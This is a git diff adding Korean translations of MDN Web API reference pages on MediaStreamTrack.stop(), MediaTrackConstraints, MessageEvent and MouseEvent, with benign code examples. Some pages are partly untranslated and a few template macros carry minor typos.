+ <li>{{domxref("MediaStreamTrack.onended")}}</li>
+</ul>
diff --git a/files/ko/web/api/mediastreamtrack/stop/index.html b/files/ko/web/api/mediastreamtrack/stop/index.html
new file mode 100644
index 0000000000..e8ee82011e
--- /dev/null
+++ b/files/ko/web/api/mediastreamtrack/stop/index.html
@@ -0,0 +1,82 @@
+---
+title: MediaStreamTrack.stop()
+slug: Web/API/MediaStreamTrack/stop
+tags:
+  - API
+  - Media
+  - Media Capture and Streams API
+  - Media Streams API
+  - MediaStreamTrack
+  - Method
+  - Reference
+  - WebRTC
+translation_of: Web/API/MediaStreamTrack/stop
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><code><strong>MediaStreamTrack.stop()</strong></code> 메서드는 트랙을 정지합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>track</em>.stop()
+</pre>
+
+<h2 id="설명">설명</h2>
+
+<p><code>stop()</code> 메서드를 호출하면 {{glossary("user agent", "사용자 에이전트")}}에게 {{domxref("MediaStreamTrack")}}이 소스(파일, 네트워크 스트림, 장치 카메라와 마이크...)를 더는 필요로 하지 않음을 표현합니다. 두 개의 탭이 장치의 마이크에 접근하고 있는 경우처럼, 다수의 트랙이 하나의 소스를 사용하고 있을 수도 있으므로 소스 자체는 즉시 멈추지 않을 수도 있으며, 대신 트랙과 소스를 즉시 분리합니다. 아무런 미디어 트랙도 소스를 사용하지 않는 상태가 되면 그때 소스가 완전히 정지합니다.</p>
+
+<p><code>stop()</code>을 호출함과 동시에 {{domxref("MediaStreamTrack.readyState", "readyState")}} 속성은 <code>ended</code>로 바뀝니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="비디오_스트림_정지">비디오 스트림 정지</h3>
+
+<p>이번 예제는 주어진 {{HTMLElement("video")}} 요소의 모든 트랙에서 <code>stop()</code>을 호출해 비디오 스트림을 정지하는 함수입니다.</p>
+
+<pre class="brush: js">function stopStreamedVideo(videoElem) {
+  const stream = videoElem.srcObject;
+  const tracks = stream.getTracks();
+
+  tracks.forEach(function(track) {
+    track.stop();
+  });
+
+  videoElem.srcObject = null;
+}</pre>
+
+<p>우선 비디오 요소에서 {{domxref("HTMLMediaElement.srcObject", "srcObject")}} 속성을 사용해 스트림을 가져오는 것부터 시작합니다. 그다음으로는 {{domxref("MediaStream.getTracks", "getTracks()")}} 메서드를 사용해 스트림의 트랙 목록을 가져오고, 이제 {{jsxref("Array.forEach", "forEach()")}}로 각 트랙의 <code>stop()</code> 메서드를 호출합니다.</p>
+
+<p>마지막으로, <code>srcObject</code>를 {{jsxref("null")}}로 설정해서 {{domxref("MediaStream")}}과의 연결을 끊어, 객체를 해제할 수 있도록 합니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Media Capture', '#dom-mediastreamtrack-stop', 'MediaStreamTrack.stop()') }}</td>
+   <td>{{ Spec2('Media Capture') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.MediaStreamTrack.stop")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>메서드가 속한 {{domxref("MediaStreamTrack")}} 인터페이스</li>
+ <li>{{domxref("MediaStreamTrack.readyState")}}</li>
+ <li>{{event("ended")}}</li>
+</ul>
diff --git a/files/ko/web/api/mediatrackconstraints/index.html b/files/ko/web/api/mediatrackconstraints/index.html
new file mode 100644
index 0000000000..dd8f52948b
--- /dev/null
+++ b/files/ko/web/api/mediatrackconstraints/index.html
@@ -0,0 +1,178 @@
+---
+title: MediaTrackConstraints
+slug: Web/API/MediaTrackConstraints
+translation_of: Web/API/MediaTrackConstraints
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><strong><code>MediaTrackConstraints</code></strong> 연관 배열은 트랙의 기능 및 기능이 받는 값 또는 값의 범위를 설명합니다. {{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}}에 전달해서, 스크립트가 일련의 필수(일치) 조건과 선호 조건의 값과 범위를 트랙에 설정할 수 있으며, 가장 최근에 설정한 사용자 지정 제약은 {{domxref("MediaStreamTrack.getConstraints", "getConstraints()")}}를 호출해 가져올 수 있습니다.</p>
+
+<p>For each constraint, you can typically specify an exact value you need, an ideal value you want, a range of acceptable values, and/or a value which you'd like to be as close to as possible. The specifics vary somewhat depending on the type of the constrainable property.</p>
+
+<p>To learn more about how constraints work, see <a href="/ko/docs/Web/API/Media_Streams_API/Constraints">기능, 제약, 설정</a>.</p>
+
+<h2 id="속성">속성</h2>
+
+<p>Some combination—but not necessarily all—of the following properties will exist on the object. This may be because a given browser doesn't support the property, or because it doesn't apply. For example, because {{Glossary("RTP")}} doesn't provide some of these values during negotiation of a WebRTC connection, a track associated with a {{domxref("RTCPeerConnection")}} will not include certain values, such as {{domxref("MediaTrackConstraints.facingMode", "facingMode")}} or {{domxref("MediaTrackConstraints.groupId", "groupId")}}.</p>
+
+<h3 id="모든_미디어_트랙의_속성">모든 미디어 트랙의 속성</h3>
+
+<dl>
+ <dt>{{domxref("MediaTrackConstraints.deviceId", "deviceId")}}</dt>
+ <dd>A {{domxref("ConstrainDOMString")}} object specifying a device ID or an array of device IDs which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.groupId", "groupId")}}</dt>
+ <dd>A {{domxref("ConstrainDOMString")}} object specifying a group ID or an array of group IDs which are acceptable and/or required.</dd>
+</dl>
+
+<h3 id="오디오_트랙의_속성">오디오 트랙의 속성</h3>
+
+<dl>
+ <dt>{{domxref("MediaTrackConstraints.autoGainControl", "autoGainControl")}}</dt>
+ <dd>A {{domxref("ConstrainBoolean")}} object which specifies whether automatic gain control is preferred and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.channelCount", "channelCount")}}</dt>
+ <dd>A {{domxref("ConstrainLong")}} specifying the channel count or range of channel counts which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.echoCancellation", "echoCancellation")}}</dt>
+ <dd>A {{domxref("ConstrainBoolean")}} object specifying whether or not echo cancellation is preferred and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.latency", "latency")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} specifying the latency or range of latencies which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.noiseSuppression", "noiseSuppression")}}</dt>
+ <dd>A {{domxref("ConstrainBoolean")}} which specifies whether noise suppression is preferred and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.sampleRate", "sampleRate")}}</dt>
+ <dd>A {{domxref("ConstrainLong")}} specifying the sample rate or range of sample rates which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.sampleSize", "sampleSize")}}</dt>
+ <dd>A {{domxref("ConstrainLong")}} specifying the sample size or range of sample sizes which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.volume", "volume")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} specifying the volume or range of volumes which are acceptable and/or required.</dd>
+</dl>
+
+<h3 id="이미지_트랙의_속성">이미지 트랙의 속성</h3>
+
+<dl>
+ <dt>{{domxref("MediaTrackConstraints.whiteBalanceMode","whiteBalanceMode")}}</dt>
+ <dd>A {{jsxref("String")}} specifying one of <code>"none"</code>, <code>"manual"</code>, <code>"single-shot"</code>, or <code>"continuous"</code>.</dd>
+ <dt>{{domxref("MediaTrackConstraints.exposureMode","exposureMode")}}</dt>
+ <dd>A {{jsxref("String")}} specifying one of <code>"none"</code>, <code>"manual"</code>, <code>"single-shot"</code>, or <code>"continuous"</code>.</dd>
+ <dt>{{domxref("MediaTrackConstraints.focusMode","focusMode")}}</dt>
+ <dd>A {{jsxref("String")}} specifying one of <code>"none"</code>, <code>"manual"</code>, <code>"single-shot"</code>, or <code>"continuous"</code>.</dd>
+ <dt>{{domxref("MediaTrackConstraints.pointsOfInterest","pointsOfInterest")}}</dt>
+ <dd>The pixel coordinates on the sensor of one or more points of interest. This is either an object in the form { x:<em>value</em>, y:<em>value</em> } or an array of such objects, where <em>value </em> is a double-precision integer.</dd>
+ <dt>{{domxref("MediaTrackConstraints.expsureCompensation","exposureCompensation")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying f-stop adjustment by up to ±3. </dd>
+ <dt>{{domxref("MediaTrackConstraints.colorTemperature","colorTemperature")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying a desired color temperature in degrees kelvin.</dd>
+ <dt>{{domxref("MediaTrackConstraints.iso","iso")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying a desired iso setting.</dd>
+ <dt>{{domxref("MediaTrackConstraints.brightness","brightness")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying a desired brightness setting.</dd>
+ <dt>{{domxref("MediaTrackConstraints.contrast","contrast")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying the degree of difference between light and dark.</dd>
+ <dt>{{domxref("MediaTrackConstraints.saturation","saturation")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying the degree of color intensity.</dd>
+ <dt>{{domxref("MediaTrackConstraints.sharpness","sharpness")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying the intensity of edges.</dd>
+ <dt>{{domxref("MediaTrackConstraints.focusDistance","focusDistance")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying distance to a focused object.</dd>
+ <dt>{{domxref("MediaTrackConstraints.zoom","zoom")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying the desired focal length.</dd>
+ <dt>{{domxref("MediaTrackConstraints.torch","torch")}}</dt>
+ <dd>A {{jsxref("Boolean")}} defining whether the fill light is continuously connected, meaning it stays on as long as the track is active.</dd>
+</dl>
+
+<h3 id="비디오_트랙의_속성">비디오 트랙의 속성</h3>
+
+<dl>
+ <dt>{{domxref("MediaTrackConstraints.aspectRatio", "aspectRatio")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} specifying the video aspect ratio or range of aspect ratios which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.facingMode", "facingMode")}}</dt>
+ <dd>A {{domxref("ConstrainDOMString")}} object specifying a facing or an array of facings which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.frameRate", "frameRate")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} specifying the frame rate or range of frame rates which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.height", "height")}}</dt>
+ <dd>A {{domxref("ConstrainLong")}} specifying the video height or range of heights which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.width", "width")}}</dt>
+ <dd>A {{domxref("ConstrainLong")}} specifying the video width or range of widths which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.resizeMode", "resizeMode")}}</dt>
+ <dd>A {{domxref("ConstrainDOMString")}} object specifying a mode or an array of modes the UA can use to derive the resolution of a video track. Allowed values are <code>none</code> and <code>crop-and-scale</code>. <code>none</code> means that the user agent uses the resolution provided by the camera, its driver or the OS. <code>crop-and-scale</code> means that the user agent can use cropping and downscaling on the camera output  in order to satisfy other constraints that affect the resolution.</dd>
+</dl>
+
+<h3 id="화면_공유_트랙의_속성">화면 공유 트랙의 속성</h3>
+
+<p>These constraints apply to <code>MediaTrackConstraints</code> objects specified as part of the {{domxref("DisplayMediaStreamConstraints")}} object's {{domxref("DisplayMediaStreamConstraints.video", "video")}} property when using {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} to obtain a stream for screen sharing.</p>
+
+<dl>
+ <dt>{{domxref("MediaTrackConstraints.cursor", "cursor")}}</dt>
+ <dd>
+ <p>A {{domxref("ConstrainDOMString")}} which specifies whether or not to include the mouse cursor in the generated track, and if so, whether or not to hide it while not moving. The value may be a single one of the following strings, or an array of them to allow the browser flexibility in deciding what to do about the cursor.</p>
+
+ <dl>
+  <dt><code>always</code></dt>
+  <dd>The mouse is always visible in the video content of the {domxref("MediaStream"), unless the mouse has moved outside the area of the content.</dd>
+  <dt><code>motion</code></dt>
+  <dd>The mouse cursor is always included in the video if it's moving, and for a short time after it stops moving.</dd>
+  <dt><code>never</code></dt>
+  <dd>The mouse cursor is never included in the shared video.</dd>
+ </dl>
+ </dd>
+ <dt>{{domxref("MediaTrackConstraints.displaySurface", "displaySurface")}}</dt>
+ <dd>
+ <p>A {{domxref("ConstrainDOMString")}} which specifies the types of display surface that may be selected by the user. This may be a single one of the following strings, or a list of them to allow multiple source surfaces:</p>
+
+ <dl>
+  <dt><code>application</code></dt>
+  <dd>The stream contains all of the windows of the application chosen by the user rendered into the one video track.</dd>
+  <dt><code>browser</code></dt>
+  <dd>The stream contains the contents of a single browser tab selected by the user.</dd>
+  <dt><code>monitor</code></dt>
+  <dd>The stream's video track contains the entire contents of one or more of the user's screens.</dd>
+  <dt><code>window</code></dt>
+  <dd>The stream contains a single window selected by the user for sharing.</dd>
+ </dl>
+ </dd>
+ <dt>{{domxref("MediaTrackConstraints.logicalSurface", "logicalSurface")}}</dt>
+ <dd>A {{domxref("ConstrainBoolean")}} value which may contain a single Boolean value or a set of them, indicating whether or not to allow the user to choose source surfaces which do not directly correspond to display areas. These may include backing buffers for windows to allow capture of window contents that are hidden by other windows in front of them, or buffers containing larger documents that need to be scrolled through to see the entire contents in their windows.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture', '#dom-mediatrackconstraints')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('MediaStream Image', '#mediatrackconstraintset-section')}}</td>
+   <td>{{Spec2('MediaStream Image')}}</td>
+   <td>Adds image constraints.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.MediaTrackConstraints")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a></li>
+ <li><a href="/en-US/docs/Web/API/Media_Streams_API/Constraints">Capabilities, constraints, and settings</a></li>
+ <li><a href="/en-US/docs/Web/API/Screen_Capture_API">Screen Capture API</a></li>
+ <li><a href="/en-US/docs/Web/API/Screen_Capture_API/Using_Screen_Capture">Using the Screen Capture API</a></li>
+ <li>{{domxref("MediaDevices.getUserMedia()")}}</li>
+ <li>{{domxref("MediaStreamTrack.getConstraints()")}}</li>
+ <li>{{domxref("MediaStreamTrack.applyConstraints()")}}</li>
+ <li>{{domxref("MediaDevices.getSupportedConstraints()")}}</li>
+ <li>{{domxref("MediaTrackSupportedConstraints")}}</li>
+ <li>{{domxref("MediaStreamTrack.getSettings()")}}</li>
+</ul>
diff --git a/files/ko/web/api/messageevent/index.html b/files/ko/web/api/messageevent/index.html
new file mode 100644
index 0000000000..d6a9bea388
--- /dev/null
+++ b/files/ko/web/api/messageevent/index.html
@@ -0,0 +1,104 @@
+---
+title: MessageEvent
+slug: Web/API/MessageEvent
+translation_of: Web/API/MessageEvent
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><code><strong>MessageEvent</strong></code> 는 {{domxref("WebSocket")}} 또는 WebRTC {{domxref("RTCDataChannel")}} 으로 된 타겟으로 부터 전달받은 메시지를 보여주는 interface 입니다.</p>
+
+<p>이 이벤트는 {{domxref("WebSocket.onmessage")}} 또는 {{domxref("RTCDataChannel.onmessage")}} 으로 설정된 이벤트 핸들러를 통해 실행이 되게 됩니다. </p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("MessageEvent.MessageEvent", "MessageEvent()")}}</dt>
+ <dd>새로운 <code>MessageEvent를 생성합니다.</code></dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<p><em>이 interface는 부모 객체인 {{domxref("Event")}}의 속성을 상속받습니다.</em></p>
+
+<dl>
+ <dt>{{domxref("MessageEvent.data")}} {{ReadonlyInline}}</dt>
+ <dd>emitter에 의해 보내진 데이터인 {{domxref("DOMString")}}, {{domxref("Blob")}} 또는 {{domxref("ArrayBuffer")}}를 포함합니다. </dd>
+ <dt>{{domxref("MessageEvent.origin")}}</dt>
+ <dd>{{domxref("DOMString")}} 입니다.…</dd>
+ <dt>{{domxref("MessageEvent.ports")}}</dt>
+ <dd>…</dd>
+ <dt>{{domxref("MessageEvent.source")}}</dt>
+ <dd>…</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><em>이 interface는 부모 객체인 {{domxref("Event")}}의 메서드를 상속받습니다.</em></p>
+
+<dl>
+ <dt>{{domxref("MessageEvent.initMessageEvent()")}} {{deprecated_inline}}</dt>
+ <dd>… <strong>더 이상 사용하지 마십시오</strong><br>
+ : {{domxref("MessageEvent.MessageEvent", "MessageEvent()")}} 생성자를 대신 사용하십시오.</dd>
+</dl>
+
+<h2 id="Browser_호환성">Browser 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Gecko 11.0 {{geckoRelease("11.0")}}부터  Gecko는 데이터를 위한 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer">ArrayBuffer</a>를 지원하지만</code>{{domxref("Blob")}}를 지원하지는 않습니다.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("ExtendableMessageEvent")}}, 와 유사한 interface이며, 개발자에게 더 유연성을 제공하기 위해 사용되는 interface 입니다.</li>
+ <li><a href="/en-US/docs/Web/API/WebSocket_API">WebSocket API</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a></li>
+</ul>
diff --git a/files/ko/web/api/mouseevent/clientx/index.html b/files/ko/web/api/mouseevent/clientx/index.html
new file mode 100644
index 0000000000..5806a312da
--- /dev/null
+++ b/files/ko/web/api/mouseevent/clientx/index.html
@@ -0,0 +1,82 @@
+---
+title: MouseEvent.clientX
+slug: Web/API/MouseEvent/clientX
+translation_of: Web/API/MouseEvent/clientX
+---
+<div>{{{APIRef("DOM 이벤트")}}<br>
+{{domxref("MouseEvent")}}} 인터페이스의 clientX 읽기 전용 속성은 이벤트가 발생한 애플리케이션 {{glossary("viewport")}}}} 내에 수평 좌표를 제공한다(페이지 내의 좌표와는 반대).<br>
+<br>
+예를 들어 뷰포트의 왼쪽 가장자리를 클릭하면 페이지가 수평으로 스크롤되는지 여부에 관계없이 항상 clientX 값이 0인 마우스 이벤트가 발생한다.</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate">var <em>x</em> = <em>instanceOfMouseEvent</em>.clientX
+</pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>CSSOM 뷰 모듈에 의해 재정의된 이중 부동 소수점 값. 원래 이 속성은 긴 정수로 정의되었다. 자세한 내용은 "브라우저 호환성" 섹션을 참조하십시오.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>이 예에서는 {{Event("mousemove")}}} 이벤트를 트리거할 때마다 마우스 좌표를 표시한다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;위치를 보려면 마우스를 이동하십시오..&lt;/p&gt;
+&lt;p id="screen-log"&gt;&lt;/p&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">let screenLog = document.querySelector('#screen-log');
+document.addEventListener('mousemove', logKey);
+
+function logKey(e) {
+  screenLog.innerText = `
+    Screen X/Y: ${e.screenX}, ${e.screenY}
+    Client X/Y: ${e.clientX}, ${e.clientY}`;
+}</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Example")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View','#dom-mouseevent-clientx', 'clientX')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Redefines {{domxref("MouseEvent")}} from <code>long</code> to <code>double</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#widl-MouseEvent-clientX','MouseEvent.clientX')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>No change from {{SpecName('DOM2 Events')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent.clientX')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">이 페이지의 호환성 표는 구조화된 데이터에서 생성된다. 만약 당신이 데이터에 기여하고 싶다면, https://github.com/mdn/browser-compat-data을 확인하여 pull request 를 보내주십시오.<br>
+{{호환("api')MouseEvent.clientX")}}</div>
+
+<h2 id="참고_항목">참고 항목</h2>
+
+<ul>
+ <li>{{ domxref("MouseEvent") }}</li>
+ <li>{{domxref("MouseEvent.clientY","clientY")}}</li>
+ <li>{{domxref("MouseEvent.screenX","screenX")}} / {{domxref("MouseEvent.screenY","screenY")}}</li>
+</ul>
diff --git a/files/ko/web/api/mouseevent/index.html b/files/ko/web/api/mouseevent/index.html
new file mode 100644
index 0000000000..384dae2ff5
--- /dev/null
+++ b/files/ko/web/api/mouseevent/index.html
@@ -0,0 +1,188 @@
+---
+title: MouseEvent
+slug: Web/API/MouseEvent
+translation_of: Web/API/MouseEvent
+---
+<div>{{APIRef("DOM Events")}}</div>
+
+<p><code><strong>MouseEvent</strong></code> 인터페이스는 특정 지점을 가리키는 장치를 통해 발생하는 이벤트를 의미한다 (마우스 등). 주로 사용되는 이벤트로는 {{event("click")}}, {{event("dblclick")}}, {{event("mouseup")}}, {{event("mousedown")}}가 있다.</p>
+
+<p><code>MouseEvent</code> 는 {{domxref("UIEvent")}}에서, {{domxref("UIEvent")}}는 {{domxref("Event")}}에서 파생되었다. <code>MouseEvent</code> 객체(object)를 생성하고자 할 때에는 {{domxref("MouseEvent.MouseEvent", "MouseEvent()")}} 생성자(constructor)를 사용해야 한다. {{domxref("MouseEvent.initMouseEvent()")}} 메서드는 하위호환성을 위해 유지된다.</p>
+
+<p>{{domxref("WheelEvent")}}, {{domxref("DragEvent")}} 등 특정 이벤트는 <code>MouseEvent</code>를 기반으로 한다.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("MouseEvent.MouseEvent", "MouseEvent()")}}</dt>
+ <dd>Creates a <code>MouseEvent</code> object.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This interface also inherits properties of its parents, {{domxref("UIEvent")}} and {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("MouseEvent.altKey")}} {{readonlyinline}}</dt>
+ <dd>Returns <code>true</code> if the <kbd>alt</kbd> key was down when the mouse event was fired.</dd>
+ <dt>{{domxref("MouseEvent.button")}} {{readonlyinline}}</dt>
+ <dd>The button number that was pressed (if applicable) when the mouse event was fired.</dd>
+ <dt>{{domxref("MouseEvent.buttons")}} {{readonlyinline}} {{gecko_minversion_inline("15.0")}}</dt>
+ <dd>The buttons being depressed (if any) when the mouse event was fired.</dd>
+ <dt>{{domxref("MouseEvent.clientX")}} {{readonlyinline}}</dt>
+ <dd>The X coordinate of the mouse pointer in local (DOM content) coordinates.</dd>
+ <dt>{{domxref("MouseEvent.clientY")}} {{readonlyinline}}</dt>
+ <dd>The Y coordinate of the mouse pointer in local (DOM content) coordinates.</dd>
+ <dt>{{domxref("MouseEvent.ctrlKey")}} {{readonlyinline}}</dt>
+ <dd>Returns <code>true</code> if the <kbd>control</kbd> key was down when the mouse event was fired.</dd>
+ <dt>{{domxref("MouseEvent.metaKey")}} {{readonlyinline}}</dt>
+ <dd>Returns <code>true</code> if the <kbd>meta</kbd> key was down when the mouse event was fired.</dd>
+ <dt>{{domxref("MouseEvent.movementX")}} {{readonlyinline}}</dt>
+ <dd>The X coordinate of the mouse pointer relative to the position of the last {{event("mousemove")}} event.</dd>
+ <dt>{{domxref("MouseEvent.movementY")}} {{readonlyinline}}</dt>
+ <dd>The Y coordinate of the mouse pointer relative to the position of the last {{event("mousemove")}} event.</dd>
+ <dt>{{domxref("MouseEvent.offsetX")}} {{readonlyinline}}{{experimental_inline}}</dt>
+ <dd>The X coordinate of the mouse pointer relative to the position of the padding edge of the target node.</dd>
+ <dt>{{domxref("MouseEvent.offsetY")}} {{readonlyinline}}{{experimental_inline}}</dt>
+ <dd>The Y coordinate of the mouse pointer relative to the position of the padding edge of the target node.</dd>
+ <dt>{{domxref("MouseEvent.pageX")}} {{readonlyinline}}{{experimental_inline}}</dt>
+ <dd>The X coordinate of the mouse pointer relative to the whole document.</dd>
+ <dt>{{domxref("MouseEvent.pageY")}} {{readonlyinline}}{{experimental_inline}}</dt>
+ <dd>The Y coordinate of the mouse pointer relative to the whole document.</dd>
+ <dt>{{domxref("MouseEvent.region")}} {{readonlyinline}}</dt>
+ <dd>Returns the id of the hit region affected by the event. If no hit region is affected, <code>null</code> is returned.</dd>
+ <dt>{{domxref("MouseEvent.relatedTarget")}} {{readonlyinline}}</dt>
+ <dd>
+ <p>The secondary target for the event, if there is one.</p>
+ </dd>
+ <dt>{{domxref("MouseEvent.screenX")}} {{readonlyinline}}</dt>
+ <dd>The X coordinate of the mouse pointer in global (screen) coordinates.</dd>
+ <dt>{{domxref("MouseEvent.screenY")}} {{readonlyinline}}</dt>
+ <dd>The Y coordinate of the mouse pointer in global (screen) coordinates.</dd>
+ <dt>{{domxref("MouseEvent.shiftKey")}} {{readonlyinline}}</dt>
+ <dd>Returns <code>true</code> if the <kbd>shift</kbd> key was down when the mouse event was fired.</dd>
+ <dt>{{domxref("MouseEvent.which")}} {{non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>The button being pressed when the mouse event was fired.</dd>
+ <dt>{{domxref("MouseEvent.mozPressure")}} {{non-standard_inline()}} {{deprecated_inline}} {{readonlyinline}}</dt>
+ <dd>The amount of pressure applied to a touch or tablet device when generating the event; this value ranges between <code>0.0</code> (minimum pressure) and <code>1.0</code> (maximum pressure). Instead of using this deprecated (and non-standard) property, you should instead use {{domxref("PointerEvent")}} and look at its {{domxref("PointerEvent.pressure", "pressure")}} property.</dd>
+ <dt>{{domxref("MouseEvent.mozInputSource")}} {{non-standard_inline()}} {{readonlyinline}}</dt>
+ <dd>The type of device that generated the event (one of the <code>MOZ_SOURCE_*</code> constants listed below). This lets you, for example, determine whether a mouse event was generated by an actual mouse or by a touch event (which might affect the degree of accuracy with which you interpret the coordinates associated with the event).</dd>
+ <dt>{{domxref("MouseEvent.webkitForce")}} {{non-standard_inline()}} {{readonlyinline}}</dt>
+ <dd>The amount of pressure applied when clicking</dd>
+ <dt>{{domxref("MouseEvent.x")}} {{experimental_inline}}{{readonlyinline}}</dt>
+ <dd>Alias for {{domxref("MouseEvent.clientX")}}.</dd>
+ <dt>{{domxref("MouseEvent.y")}} {{experimental_inline}}{{readonlyinline}}</dt>
+ <dd>Alias for {{domxref("MouseEvent.clientY")}}</dd>
+</dl>
+
+<h2 id="Constants">Constants</h2>
+
+<dl>
+ <dt>{{domxref("MouseEvent.WEBKIT_FORCE_AT_MOUSE_DOWN")}} {{non-standard_inline}}{{readonlyinline}}</dt>
+ <dd>Minimum force necessary for a normal click</dd>
+ <dt>{{domxref("MouseEvent.WEBKIT_FORCE_AT_FORCE_MOUSE_DOWN")}} {{non-standard_inline}}{{readonlyinline}}</dt>
+ <dd>Minimum force necessary for a force click</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
